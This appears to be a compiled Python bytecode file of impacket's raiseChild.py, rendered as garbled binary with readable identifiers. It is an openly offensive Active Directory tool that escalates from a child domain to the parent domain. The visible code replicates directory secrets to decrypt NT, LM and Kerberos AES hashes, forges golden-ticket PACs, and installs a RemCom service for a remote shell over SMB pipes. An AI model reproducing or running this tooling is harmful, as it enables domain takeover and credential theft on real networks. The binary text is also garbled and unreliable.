o
    àý°jñë  ã                
   @   s4  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlZd dlmZmZ d dlmZmZ d dlmZ d dlmZ d dlmZ zd dlZW n eyp   e d	¡ e d
¡ e d¡ Y nw d dlmZ d dlmZm Z  d dl!m"Z" d dl#m$Z$m%Z%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+ d dl,m-Z-m.Z.m/Z/ d dl0m1Z1 d dl2m3Z3m4Z4m5Z5m6Z6m7Z7 d dl8m9Z9m:Z: d dl;m<Z< d dl=m>Z> d dl?m@Z@ d dlAmBZBmCZC d dlDmEZEmFZF d dlGmHZHmIZI d dlJmKZKmLZL d dlMmNZNmOZOmPZPmQZQ d dlRmSZSmTZTmUZU d dlVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^ d dl_m`Z`maZambZbmcZc d d ldmeZe d d!lfmgZg d d"ldmhZhmiZi d d#ljmkZk d d$l=mlZlmmZm G d%d&„ d&ekƒZnG d'd(„ d(ekƒZod)Zpd*Zqd+Zreƒ ZsG d,d-„ d-etƒZuG d.d/„ d/ƒZvG d0d1„ d1eƒZwG d2d3„ d3ewƒZxG d4d5„ d5ewƒZyG d6d7„ d7e
jzƒZ{G d8d9„ d9ewƒZ|G d:d;„ d;ƒZ}e~d<k�reej€ƒ ej�d=d>d?�Z‚e‚jƒd@dAdBdC� e‚jƒdDdEdFdC� e‚jƒdGdEdHdC� e‚jƒdIdAdJdKdL� e‚jƒdMdAdNdOdL� e‚jƒdPdAdQdRdSdT� e‚ „dU¡Z…e…jƒdVdAdWdXdL� e…jƒdYdEdZdC� e…jƒd[dEd\dC� e…jƒd]dAd^d_dL� e†ej‡ƒdk�rde‚ ˆ¡  ed`ƒ edaƒ edbƒ edcƒ eddƒ edeƒ edfƒ edgƒ edhƒ ediƒ edjƒ edkƒ edlƒ edmƒ ednƒ edoƒ edpƒ e d¡ e‚ ‰¡ ZŠe> ‹eŠjŒeŠj�¡ e@eŠjŽeŠj�eŠj�eŠj‘eŠj’ƒ\Z“Z”Z•Z–Z–eŠ_’e“dqk�r“e dr¡ e d¡ dsZ—ze}eŠj˜e”e•e“eŠe—ƒZ™e™ š¡  W dS  ee�yÔ Z› z!e eœe›ƒ¡ e› �¡ egk�rÉe ždt¡ W Y dZ›[›dS W Y dZ›[›dS dZ›[›w et�y Z› z7ej�dud=dv� e eœe›ƒ¡ eŸe›dwƒ�re›j dxk�re ždyeŠj¡ ¡ W Y dZ›[›dS W Y dZ›[›dS W Y dZ›[›dS dZ›[›ww dS )zé    )Údivision)Úprint_functionN)ÚThreadÚLock)Ú	unhexlifyÚhexlify)Úgethostbyname)Úunpack)ÚPY3z"This module needs pyasn1 installedz7You can get it from https://pypi.python.org/pypi/pyasn1é   )Úversion)Ú	PrincipalÚKerberosTime)Ú	constants)ÚgetKerberosTGTÚgetKerberosTGSÚKerberosError)ÚAS_REPÚAuthorizationDataÚAD_IF_RELEVANTÚEncTicketPart)Ú_enctype_tableÚget_kerberos_key_for_enctypeÚget_matching_aes_key)ÚNDRULONG)ÚNULLÚGROUP_MEMBERSHIPÚSE_GROUP_MANDATORYÚSE_GROUP_ENABLED_BY_DEFAULTÚSE_GROUP_ENABLED)ÚdecoderÚencoder)ÚnoValue)Úlogger)Úparse_identity©ÚLMOWFv1ÚNTOWFv1)ÚRPC_SIDÚMAXIMUM_ALLOWED)ÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚRPC_C_AUTHN_GSS_NEGOTIATE)ÚMSRPC_UUID_NRPCÚhDsrGetDcNameEx)ÚMSRPC_UUID_LSATÚPOLICY_LOOKUP_NAMESÚLSAP_LOOKUP_LEVELÚhLsarLookupSids)ÚhLsarQueryInformationPolicy2ÚPOLICY_INFORMATION_CLASSÚhLsarOpenPolicy2)ÚKERB_SID_AND_ATTRIBUTESÚPAC_INFO_BUFFERÚPAC_LOGON_INFOÚPAC_CLIENT_INFO_TYPEÚPACTYPEÚPKERB_SID_AND_ATTRIBUTES_ARRAYÚVALIDATION_INFOÚsign_pac)Ú	transportÚdrsuapiÚepmÚsamr)ÚSessionError)ÚSTATUS_NO_LOGON_SERVERS)ÚSMBConnectionÚsmb)Ú	Structure)Ú	remcomsvcÚserviceinstallc                   @   ó   e Zd ZdZdS )ÚRemComMessage))ÚCommandz4096s="")Ú
WorkingDirú260s="")ÚPriorityz<L=0x20)Ú	ProcessIDz<L=0x01)ÚMachinerL   )ÚNoWaitú<L=0N©Ú__name__Ú
__module__Ú__qualname__Ú	structure© rW   rW   úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/raiseChild.pyrI   s   ó    rI   c                   @   rH   )ÚRemComResponse))Ú	ErrorCoderQ   )Ú
ReturnCoderQ   NrR   rW   rW   rW   rX   rZ   }   rY   rZ   ÚRemCom_stdoutÚRemCom_stdinÚRemCom_stderrc                   @   s   e Zd ZdS )ÚRetryableGoldenTicketErrorN)rS   rT   rU   rW   rW   rW   rX   r`   ‰   s    r`   c                   @   s$   e Zd Zdd„ Zdd„ Zdd„ ZdS )ÚPSEXECc                 C   s4   || _ || _d | _|| _d | _|| _|| _|| _d S ©N)Ú_PSEXEC__usernameÚ_PSEXEC__commandÚ_PSEXEC__pathÚ_PSEXEC__domainÚ_PSEXEC__exeFileÚ_PSEXEC__copyFileÚ_PSEXEC__TGSÚ_PSEXEC__smbConnection)ÚselfÚcommandÚusernameÚdomainÚsmbConnectionÚTGSÚcopyFilerW   rW   rX   Ú__init__�   s   
zPSEXEC.__init__c              
   C   s‚  t j|d| jd�}| ¡ }z| ¡  W n ty1 } zt t|ƒ¡ t	 
d¡ W Y d }~nd }~ww | ¡  ¡ a�z>d}| ¡ }| d¡ | jd u rUt | ¡ t ¡ ¡}n/zt| jdƒ}W n ty{ } zt t|ƒ¡ t	 
d¡ W Y d }~nd }~ww t | ¡ |¡}| ¡  | jd ur‘| ¡  | jd ur²| | j| ¡ tj | j¡¡ tj | j¡d | j | _| d¡}	|  ||	d	d
¡}
t ƒ }t !¡ }d "dd„ t#dƒD ƒ¡|d< | j$d urÞ| j$|d< | j|d< ||d< | %|	|
| &¡ ¡ da't(|dt)|d |d f t*j+t*j,B | j-| ¡ ƒ}| .¡  t/|dt0|d |d f t*j1ƒ}| .¡  t2|dt3|d |d f t*j1ƒ}| .¡  | 4|	|
d¡}t5|ƒ�rUt6|ƒ}t 7d| j|d |d f ¡ | 8¡  | jd u�rl| 9| ¡ tj | j¡¡ d}t	 
|d ¡ W d S  t:�y€   ‚  t�yÀ } z4t ;t|ƒ¡ |du �r«| 8¡  | jd u�r«| 9| ¡ tj | j¡¡ t	j< =¡  t	 
d¡ W Y d }~d S d }~ww )Nz/svcctl)ÚfilenameÚsmb_connectionr   Fi † Úrbú úIPC$z\RemCom_communicatoniŸ Ú c                 S   s   g | ]}t  tj¡‘qS rW   )ÚrandomÚchoiceÚstringÚascii_letters)Ú.0Ú_rW   rW   rX   Ú
<listcomp>Ä   s    zPSEXEC.run.<locals>.<listcomp>é   rO   rK   rJ   rN   z\%s%s%dé   z6Process %s finished with ErrorCode: %d, ReturnCode: %dr[   r\   T)>r=   ÚSMBTransportrj   Úget_dce_rpcÚconnectÚ	ExceptionÚloggingÚcriticalÚstrÚsysÚexitÚget_smb_connectionÚ
getDialectÚdialectÚ
setTimeoutrg   rG   ÚServiceInstallrF   Ú	RemComSvcÚopenÚinstallÚcloserh   Ú	copy_fileÚgetShareÚosÚpathÚbasenamerd   ÚconnectTreeÚopenPiperI   ÚgetpidÚjoinÚrangere   ÚwriteNamedPipeÚgetDataÚLastDataSentÚRemoteStdInPipeÚRemComSTDINrD   ÚFILE_WRITE_DATAÚFILE_APPEND_DATAri   ÚstartÚRemoteStdOutPipeÚRemComSTDOUTÚFILE_READ_DATAÚRemoteStdErrPipeÚRemComSTDERRÚreadNamedPipeÚlenrZ   ÚinfoÚ	uninstallÚ
deleteFileÚ
SystemExitÚdebugÚstdoutÚflush)rk   ÚaddrÚrpctransportÚdceÚeÚunInstalledÚsÚinstallServiceÚfÚtidÚfid_mainÚpacketÚpidÚ
stdin_pipeÚstdout_pipeÚstderr_pipeÚansÚretCoderW   rW   rX   Úrun—   s    €þ

€þ





ýþþ
ÿ

€ùz
PSEXEC.runc                 C   s€   d}d}|du r,|dkr,z
|  ||¡ d}W n   |d8 }t d¡ Y |du r,|dks|dkr4tdƒ‚|j|||dd	d
�}|S )NFé2   r   Tr   é   zPipe not ready, abortingé@   é€   ©ÚcreationOptionÚfileAttributes)ÚwaitNamedPipeÚtimeÚsleepr…   ÚopenFile)rk   r¹   r¼   ÚpipeÚ
accessMaskÚ	pipeReadyÚtriesÚfidrW   rW   rX   rš   ù   s   
ù	zPSEXEC.openPipeN)rS   rT   rU   rr   rÅ   rš   rW   rW   rW   rX   ra   Œ   s    
bra   c                   @   ó   e Zd Zddd„Zdd„ ZdS )ÚPipesNc                 C   sX   t  | ¡ d| _|| _| ¡ | _d| _d| _|| _| 	¡ | _
|| _|| _|| _d| _d S )Nr   T)r   rr   Úserverr=   Úget_credentialsÚcredentialsr¼   rÕ   ÚshareÚ	get_dportÚportrÑ   Úpermissionsrp   Údaemon)rk   r=   rÑ   rÞ   rp   rÛ   rW   rW   rX   rr     s   



zPipes.__init__c           	      C   sÎ   zTt  ¡  td| j ¡  ¡ | jtd�| _| j	\}}}}}}}}| j 
|||||¡ t  ¡  | j d¡| _| j | j| j¡ | jj| j| j| jddd�| _| j d¡ W d S  tyf   t d| j ¡ Y d S w )	Nú
*SMBSERVER©Ú	sess_portÚpreferredDialectrw   rÈ   rÉ   rÊ   i@B z9Something wen't wrong connecting the pipes(%s), try again)ÚlockÚacquirerC   r=   r‹   ÚgetRemoteHostrÝ   r�   rØ   rÚ   ÚloginÚreleaser™   r¼   rÍ   rÑ   rÐ   rÞ   rÕ   rŽ   r…   r†   r‡   Ú	__class__©	rk   ÚuserÚpasswdrn   ÚlmÚntÚaesKeyÚTGTrp   rW   rW   rX   ÚconnectPipe  s   ÿÿzPipes.connectPipe©NN)rS   rT   rU   rr   rñ   rW   rW   rW   rX   r×     s    
r×   c                   @   ó   e Zd Zdd„ Zdd„ ZdS )r¦   c                 C   ó   t  | |||¡ d S rb   ©r×   rr   ©rk   r=   rÑ   ÚpermisssionsrW   rW   rX   rr   -  ó   zRemoteStdOutPipe.__init__c                 C   sv   |   ¡  	 z| j | j| jdd¡}W n   Y n"z|tkr,tj | 	d¡¡ tj 
¡  ndatdkr4daW n   Y q)NTr   é   Úcp437rx   é
   )rñ   rØ   ÚreadFiler¼   rÕ   r    r‰   r²   ÚwriteÚdecoder³   ©rk   rÃ   rW   rW   rX   rÅ   0  s"   €ízRemoteStdOutPipe.runN©rS   rT   rU   rr   rÅ   rW   rW   rW   rX   r¦   ,  ó    r¦   c                   @   ró   )r©   c                 C   rô   rb   rõ   rö   rW   rW   rX   rr   H  rø   zRemoteStdErrPipe.__init__c                 C   sZ   |   ¡  	 z| j | j| jdd¡}W n   Y nztj t|ƒ¡ tj 	¡  W n   Y q)NTr   rù   )
rñ   rØ   rü   r¼   rÕ   r‰   Ústderrrý   rˆ   r³   rÿ   rW   rW   rX   rÅ   K  s   özRemoteStdErrPipe.runNr   rW   rW   rW   rX   r©   G  r  r©   c                   @   s^   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zddd„ZdS )ÚRemoteShellc                 C   sN   t j | d¡ d| _|| _d | _|| _|| _|| _|| _	|| _
|| _d| _d S )NFúz'[!] Press help for extra shell commands)ÚcmdÚCmdrr   ÚpromptrØ   ÚtransferClientr¼   rÕ   rÚ   rÛ   rÝ   rp   Úintro)rk   rØ   rÝ   rÚ   r¼   rÕ   rp   rÛ   rW   rW   rX   rr   Z  s   
zRemoteShell.__init__c           	   
   C   sR   t d| j ¡ | jtd�| _| j\}}}}}}}}| jj||||||| jdd� d S )Nrà   rá   F)rp   ÚuseCache)	rC   rØ   ræ   rÝ   r�   r  rÚ   ÚkerberosLoginrp   rê   rW   rW   rX   Úconnect_transferClientg  s
   ÿ"z"RemoteShell.connect_transferClientc                 C   s$   t d| j| jf ƒ |  dd¡ d S )Na­  
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
ú
F)ÚprintrÛ   Ú	send_data©rk   ÚlinerW   rW   rX   Údo_helpm  s   
úzRemoteShell.do_helpc                 C   s   t  |¡ |  d¡ d S ©Nr  )r–   Úsystemr  )rk   r¹   rW   rW   rX   Údo_shellw  s   
zRemoteShell.do_shellc              
   C   s¤   z1| j d u r
|  ¡  dd l}| |¡}t|dƒ}t d| j|f ¡ | j  | j||j	¡ | 
¡  W n tyJ } zt t|ƒ¡ W Y d }~nd }~ww |  d¡ d S )Nr   ÚwbzDownloading %s\%sr  )r  r  Úntpathr˜   r‘   r†   r­   rÛ   ÚgetFilerý   r“   r…   Úerrorrˆ   r  )rk   Úsrc_pathr  rs   Úfhr·   rW   rW   rX   Údo_get{  s   


€þzRemoteShell.do_getc           
   
   C   s  zm| j d u r
|  ¡  | d¡}t|ƒdkr|d }|d }nt|ƒdkr*|d }d}tj |¡}t|dƒ}|d | }| dd¡}t	 
d|| j|f ¡ trY| j  | j||j¡ n| j  | j| tjj¡|j¡ | ¡  W n ty† }	 zt	 t|	ƒ¡ W Y d }	~	nd }	~	ww |  d¡ d S )	Nrv   r   r   ú/ru   ú\zUploading %s to %s\%sr  )r  r  Úsplitr¬   r–   r—   r˜   r‘   Úreplacer†   r­   rÛ   r
   ÚputFileÚreadrþ   r‰   ÚstdinÚencodingr“   r…   r  rˆ   r  )
rk   r¹   Úparamsr  Údst_pathÚsrc_filer  r»   Úpathnamer·   rW   rW   rX   Údo_putŒ  s2   



€þzRemoteShell.do_putc              
   C   sf   |dkrt t ¡ ƒ n!zt |¡ W n ty+ } zt t|ƒ¡ W Y d }~nd }~ww |  d¡ d S )Nrx   r  )	r  r–   ÚgetcwdÚchdirr…   r†   r  rˆ   r  )rk   r¹   r·   rW   rW   rX   Údo_lcd©  s   €ÿzRemoteShell.do_lcdc                 C   s   |   d¡ d S r  )r  )rk   rW   rW   rX   Ú	emptyline³  s   
zRemoteShell.emptylinec                 C   s>   t r|  | d¡d ¡ d S |  | tjj¡ d¡d ¡ d S )Nrú   s   
r  )r
   r  Úencoderþ   r‰   r#  r$  r  rW   rW   rX   Údefault·  s   "zRemoteShell.defaultTc                 C   s*   |du r|a nda | j | j| j|¡ d S )NTrx   )r    rØ   Ú	writeFiler¼   rÕ   )rk   ÚdataÚ
hideOutputrW   rW   rX   r  ½  s   zRemoteShell.send_dataN)T)rS   rT   rU   rr   r  r  r  r  r)  r,  r-  r/  r  rW   rW   rW   rX   r  Y  s    

r  c                   @   rÖ   )r¡   Nc                 C   s   t  | |||||¡ d S rb   rõ   )rk   r=   rÑ   r÷   rp   rÛ   rW   rW   rX   rr   Æ  s   zRemoteStdInPipe.__init__c                 C   s6   |   ¡  t| j| j| j| j| j| j| jƒ}| 	¡  d S rb   )
rñ   r  rØ   rÝ   rÚ   r¼   rÕ   rp   rÛ   Úcmdloop)rk   ÚshellrW   rW   rX   rÅ   É  s   "zRemoteStdInPipe.runrò   r   rW   rW   rW   rX   r¡   Å  s    
r¡   c                   @   s  e Zd Zd;dd„Zddddd	d
dœZdddddddœZddddddœZdZdd„ Ze	dd„ ƒZ
e	dd„ ƒZdd „ Zd!d"„ Zejjejjddfd#d$„Zd<d%d&„Zd<d'd(„Zd)d*„ Zd<d+d,„Ze	d-d.„ ƒZe	d=d/d0„ƒZe	d1d2„ ƒZe	d3d4„ ƒZe	d5d6„ ƒZd7d8„ Zd9d:„ ZdS )>Ú
RAISECHILDNrx   c           	      C   s
  d| _ |j| _|| _d | _|| _|j| _d| _|j	| _
d | _d | _i | _|| jd< || jd< || jd< d| jd< d| jd< |j| jd< d | jd	< d | jd
< d | _|jd urk|j d¡\}}t|ƒ| jd< t|ƒ| jd< | jd urƒ|  | j¡| _t d|| jf ¡ d S d S )Nr   rx   rm   Úpasswordrn   ÚlmhashÚnthashrï   rð   rp   ú:z$getDNSMachineName for %s returned %s)Ú_RAISECHILD__ridÚ	targetRIDÚ_RAISECHILD__targetRIDÚ_RAISECHILD__targetÚ_RAISECHILD__kdcHostÚ_RAISECHILD__commandÚwÚ_RAISECHILD__writeTGTÚ_RAISECHILD__domainSidÚkÚ_RAISECHILD__doKerberosÚ_RAISECHILD__drsrÚ_RAISECHILD__ppartialAttrSetÚ_RAISECHILD__credsrï   Úhashesr  r   ÚgetDNSMachineNamer†   r±   )	rk   Útargetrm   r6  rn   Úoptionsrl   r7  r8  rW   rW   rX   rr   Ï  s8   








þzRAISECHILD.__init__i’ 	 i�	 iÝ 	 iZ 	 i7 	 i} 	 )Ú	objectSidÚuserPrincipalNameÚsAMAccountNameÚ
unicodePwdÚdBCSPwdÚsupplementalCredentialsz1.2.840.113556.1.4.146z1.2.840.113556.1.4.656z1.2.840.113556.1.4.221z1.2.840.113556.1.4.90z1.2.840.113556.1.4.55z1.2.840.113556.1.4.125zdec-cbc-crczdes-cbc-md5zaes128-cts-hmac-sha1-96zaes256-cts-hmac-sha1-96Úrc4_hmac)r   é   é   é   l   tÿ é   c              	   C   sþ   t  d¡ |d }| jdu r!|  t|ƒ¡}t  dt|ƒ|f ¡ n|}d| }t |¡}t|dƒrU| |d |d |d |d	 |d
 |d ¡ | jsP|d d urU| 	d¡ | 
¡ }| ¡  | t¡ t|ttttdƒ}|d d d d… |d d d d… fS )NzCalling NRPC DsrGetDcNameEx()rn   Tú%s is %szncacn_np:%s[\pipe\netlogon]Úset_credentialsrm   r6  r7  r8  rï   r   ÚDomainControllerInfoÚ
DomainNameéÿÿÿÿÚDnsForestName)r†   r±   rD  rI  r   r=   ÚDCERPCTransportFactoryÚhasattrrX  Úset_kerberosrƒ   r„   Úbindr,   r-   r   )rk   ÚcredsrJ  ÚmachineNameOrIpÚstringBindingrµ   r¶   ÚresprW   rW   rX   ÚgetChildInfo  s&   



ÿ

(zRAISECHILD.getChildInfoc              
   C   s¶   zt | | ƒ}| dd¡ W nE ty' } zt|ƒ d¡dkr"tdƒ‚‚ d }~w ty@ } zt|ƒ d¡dkr;tdƒ‚‚ d }~w tyR   t d|  ¡ Y | 
¡ S w | 	¡  | 
¡ S )Nrx   ú	timed outr   z…The connection is timed out. Probably 445/TCP port is closed. Try to specify corresponding NetBIOS name or FQDN instead of IP addressÚSTATUS_NOT_SUPPORTEDú“The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option.ú%Error while anonymous logging into %s)rC   rç   ÚOSErrorrˆ   Úfindr…   rA   r†   r±   ÚlogoffÚgetServerName©Ú	machineIPr¹   r·   rW   rW   rX   ÚgetMachineName-  s&   
€€üzRAISECHILD.getMachineNamec              
   C   s¼   zt | | ƒ}| dd¡ W nB ty' } zt|ƒ d¡dkr"tdƒ‚‚ d }~w ty@ } zt|ƒ d¡dkr;tdƒ‚‚ d }~w tyO   t d|  ¡ Y nw | 	¡  | 
¡ d | ¡  S )	Nrx   rf  r   z†The connection is timed out. Probably 445/TCP port is closed. Try to specify corresponding NetBIOS name or FQDN instead of IP address.rg  rh  ri  Ú.)rC   rç   rj  rˆ   rk  r…   rA   r†   r±   rl  rm  ÚgetServerDNSDomainNamern  rW   rW   rX   rI  D  s$   
€€ÿzRAISECHILD.getDNSMachineNamec              	   C   s,  | j du r|  t|ƒ¡}t dt|ƒ|f ¡ nt|ƒ}t d¡ d| }t |¡}t|dƒrK| |d |d |d |d	 |d
 |d ¡ | 	| j ¡ | 
¡ }| ¡  | t¡ t|ttB ƒ}|d }	t||	tjƒ}|d d d  ¡ }
tƒ }| |
d | ¡ t||	|tjƒ}|d d d d }|
|fS )NTrW  z+Calling LSAT hLsarQueryInformationPolicy2()zncacn_np:%s[\pipe\lsarpc]rX  rm   r6  rn   r7  r8  rï   ÚPolicyHandleÚPolicyInformationÚPolicyAccountDomainInfoÚ	DomainSidú-ÚTranslatedNamesÚNamesr   ÚName)rD  rI  r   r†   r±   r=   r]  r^  rX  r_  rƒ   r„   r`  r.   r4   r)   r/   r2   r3   ÚPolicyAccountDomainInformationÚformatCanonicalÚlistÚappendr1   r0   ÚLsapLookupWksta)rk   ÚparentDCra  r;  rb  rc  rµ   r¶   rd  ÚpolicyHandleÚ	domainSidÚsidsÚ
targetNamerW   rW   rX   ÚgetParentSidAndTargetName[  s0   



ÿ
z$RAISECHILD.getParentSidAndTargetNamec              	   C   sä  | j du s|d d ur|  t|ƒ¡}t dt|ƒ|f ¡ nt|ƒ}tj|tjdd�}t	 
|¡}t|dƒrl|d d urP|j|d d|d	 |d d
� | d¡ n| |d |d |d	 |d |d |d ¡ | | j ¡ | ¡ | _| j t¡ | j s€|d d ur†| j t¡ | j ¡  | j tj¡ t ¡ }tj|d< t ¡ }t|ƒ|d< tjtjB tjB tjB |d< tj|d< d|d< d|d< d|d< tj|d< d|d< t| ¡ ƒ|d d< t | ¡ ƒ|d d< | j !|¡}t ¡ }	d "|d d ¡dtt ¡ ƒ|d d    }
|	 #|
¡ |	d dk�r>t $¡ j%tj&k�r t d|	d  ¡ |	d |d< t|ƒ|d d< t | ¡ ƒ|d d< | j !|¡}|d  | _'t (| j| j'|d!¡}|d" d# d$ dk�rg|d" d# d% d d& | _)d S t *d'| ¡ t+d(ƒ‚))NTrð   rW  Úncacn_ip_tcp)ÚprotocolrX  rm   rx   rn   )rð   r6  r7  r8  rï   ÚpuuidClientDsaÚcbÚdwFlagsÚSiteObjGuidr   ÚPidÚdwReplEpochÚ
dwFlagsExtÚConfigObjGUIDé   Ú	dwExtCapsÚ
pextClientÚrgbó    ÚppextServeró    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againÚphDrsrÇ   ÚpmsgOutÚV2ÚcItemsÚrItemsÚNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, aborting),rD  rI  r   r†   r±   r?   Úhept_mapr>   ÚMSRPC_UUID_DRSUAPIr=   r]  r^  rX  r_  rƒ   rE  Úset_auth_levelr*   Úset_auth_typer+   r„   r`  ÚDRSBindÚNTDSAPI_CLIENT_GUIDÚDRS_EXTENSIONS_INTr¬   ÚDRS_EXT_GETCHGREQ_V6ÚDRS_EXT_GETCHGREPLY_V6ÚDRS_EXT_GETCHGREQ_V8ÚDRS_EXT_STRONG_ENCRYPTIONÚNULLGUIDrŸ   r}  Úrequestrœ   Ú
fromStringÚ	getLoggerÚlevelÚDEBUGÚ_RAISECHILD__hDrsÚhDRSDomainControllerInfoÚ_RAISECHILD__NtdsDsaObjectGuidr  r…   )rk   Ú
domainNamera  rb  rc  Úrpcr©  Údrsrd  ÚdrsExtensionsIntr•  rW   rW   rX   Ú__connectDrds€  st   
ÿ

ÿ


ÿ

ÿ
ÿ
zRAISECHILD.__connectDrdsc                 C   s4   | j d u r|  ||¡ t | j | jd|||f¡}|S )Nr   )rE  Ú_RAISECHILD__connectDrdsr>   ÚhDRSCrackNamesr®  )rk   rJ  ÚformatOfferedÚformatDesiredÚnamera  rd  rW   rW   rX   ÚDRSCrackNamesÈ  s   
zRAISECHILD.DRSCrackNamesc                 C   sJ  d }|d d d d d d D ]Z}zt  ||d ¡}| j}W n  ty? } zt d| ¡ |d }| j}W Y d }~nd }~ww ||d	 krj|d
 d dkrjd |d
 d d d ¡}t  | j	|¡}t
|ƒdk rjd }qd d dœ}	|�rz
t |¡\}
}}W n   Y d S t|ƒD ]Ž}
zt |¡}W n ty£   tjddd� Y  d S w |t
|ƒd … }|d  d¡dk�rt|d ƒ}t |¡}|d }t|d ƒD ]J}t |¡}|t
|ƒd … }||d d … d |d … }|d | jv �r|d ttjjjƒk�rt|ƒ|	d< qË|d ttjjjƒk�rt|ƒ|	d< qËqˆ|	d �s!|	d �r#|	S d S ) Nr˜  ÚV6ÚpObjectsÚEntinfÚ	AttrBlockÚpAttrÚattrTypz,Failed to execute OidFromAttid with error %srQ  ÚAttrValÚvalCountr   r”  ÚpAValÚpValé   ©Ú	aes128KeyÚ	aes256KeyzIMalformed supplemental credential property, discarding the remaining dataT©Úexc_infoÚPropertyNamezutf-16lezPrimary:Kerberos-Newer-KeysÚPropertyValueÚBufferÚCredentialCountÚ	KeyOffsetÚ	KeyLengthÚKeyTyperÈ  rÉ  )r>   ÚOidFromAttidÚATTRTYP_TO_ATTIDr…   r†   r±   ÚNAME_TO_ATTRTYPrœ   ÚDecryptAttributeValuerE  r¬   r@   Úunpack_user_propertiesr�   ÚUSER_PROPERTYrþ   r   ÚKERB_STORED_CREDENTIAL_NEWÚKERB_KEY_DATA_NEWÚKERBEROS_TYPEÚintr   ÚEncryptionTypesÚaes128_cts_hmac_sha1_96Úvaluer   Úaes256_cts_hmac_sha1_96)rk   ÚrecordÚprefixTableÚ	plainTextÚattrÚattIdÚLOOKUP_TABLEr·   ÚblobÚkerberosKeysr~   ÚpropertyCountÚpropertiesDataÚuserPropertyÚpropertyValueBufferÚkerbStoredCredentialNewr1  Ú
credentialÚ
keyDataNewÚkeyValuerW   rW   rX   Ú__decryptSupplementalInfoÐ  sl    
€ü€þþû

€z$RAISECHILD.__decryptSupplementalInfoc                 C   s   t  d|d d d d d d…  ¡ d}d }d }|d d d d	 d
 d D ]»}zt ||d ¡}| j}W n  tyV }	 zt  d|	 ¡ |d }| j}W Y d }	~	nd }	~	ww ||d kr€|d d dkrzd |d d d d ¡}
t | j	|
¡}q't
ddƒ}q'||d kr©|d d dkr£d |d d d d ¡}t | j	|¡}q'tddƒ}q'||d krâ|d d dkrÐd |d d d d ¡}td|dd … ƒd }q'td|d d d d d d…  ƒ‚q'|d u rít ||¡}|d u r÷t ||¡}|t|ƒt|ƒfS )NzDecrypting hash for user: %sr˜  r¼  ÚpNCÚ
StringNamer[  r   r½  r¾  r¿  rÀ  rÁ  zHFailed to execute OidFromAttid with error %s, fallbacking to fixed tablerP  rÂ  rÃ  rx   rÄ  rÅ  rO  r”  rL  z<LéüÿÿÿzCannot get objectSid for %s)r†   r±   r>   rÓ  rÔ  r…   rÕ  rœ   rÖ  rE  r&   r'   r	   ÚremoveDESLayerr   )rk   rá  râ  ÚridÚLMHashÚNTHashrä  rå  ræ  r·   ÚencrypteddBCSPwdÚencryptedLMHashÚencryptedUnicodePwdÚencryptedNTHashrL  rW   rW   rX   Ú__decryptHash  sF   & 
€ü$ûzRAISECHILD.__decryptHashc                 C   sú  | j d u r
|  |¡ t ¡ }| j|d< d|d< d|d d< | j|d d d< | j|d d d< t ¡ }d	|d
< tj|d< d|d< t|ƒ|d< |d |d< t| 	¡ ƒ|d< ||d d d< d	|d d d d< d	|d d d d< t
|d d d< tjtjB |d d d< d|d d d< d	|d d d< tj|d d d< | jd u rÎg | _t ¡ | _d| jd< t| jƒ| jd< t| j ¡ ƒD ]}| jd  t | j|¡¡ q¾| j|d d d< t| jƒ|d d d  d!< | j|d d d  d"< t
|d d d#< | j  |¡S )$NÚhDrsr�   ÚdwInVersionÚpmsgInÚtagÚV8ÚuuidDsaObjDestÚuuidInvocIdSrcr   ÚSidLenÚGuidrx   ÚSidÚNameLenú ró  Ú	structLenrò  Ú
usnvecFromÚusnHighObjUpdateÚusnHighPropUpdateÚpUpToDateVecDestÚulFlagsr   ÚcMaxObjectsÚ	cMaxBytesÚulExtendedOpÚ	dwVersionÚcAttrsÚrgPartialAttrÚpPartialAttrSetÚPrefixTableDestÚPrefixCountÚpPrefixEntryÚpPartialAttrSetEx1)rE  r¶  r>   ÚDRSGetNCChangesr®  r°  ÚDSNAMEr¨  r¬   rŸ   r   ÚDRS_INIT_SYNCÚDRS_WRIT_REPÚEXOP_REPL_OBJrF  Ú_RAISECHILD__prefixTableÚPARTIAL_ATTR_VECTOR_V1_EXTrÔ  r}  Úvaluesr~  Ú	MakeAttidr©  )rk   Ú	userEntryra  r©  ÚdsNamerå  rW   rW   rX   r  5  sF   






zRAISECHILD.DRSGetNCChangesc              
   C   sÈ  d||f }z�| j |tjj||d�}|d d d d dkre|d d d d d	 d
 d	krS|  |d d d d d	 d d d… |¡}|d d d d	krRtdƒ‚n"td|d d d d d	 d
  ƒ‚td|d d d d |f ƒ‚|  ||d d d d ¡\}}}	|  ||d d d d ¡}
W n  tyµ } ztj	ddd� t 
d¡ t 
t|ƒ¡ ‚ d }~ww | j ¡  d | _d  }}|
d urÎ|
d }|
d }i }||d< |	|d< ||d< ||d< ||fS )Nz%s@%s)rº  ra  r˜  ÚV1ÚpResultrš  r   r›  r   ÚstatusÚpNamer[  r¼  ÚcNumObjectsz)DRSGetNCChanges didn't return any object!z(DRSCrackNames status returned error 0x%xz+DRSCrackNames returned %d items for user %sÚPrefixTableSrcr  ú
Exception:TrÊ  zError while processing user!rÈ  rÉ  r7  r8  )r»  r>   ÚDS_NAME_FORMATÚDS_USER_PRINCIPAL_NAMEr  r…   Ú_RAISECHILD__decryptHashÚ$_RAISECHILD__decryptSupplementalInfor†   r±   r  rˆ   rE  Ú
disconnect)rk   ÚuserNamern   ra  ÚupnÚcrackedNameÚ
userRecordrö  r7  r8  rè  r·   rÈ  rÉ  rW   rW   rX   ÚgetCredentialsc  sL    $ÿÿÿÿ" 
€ü
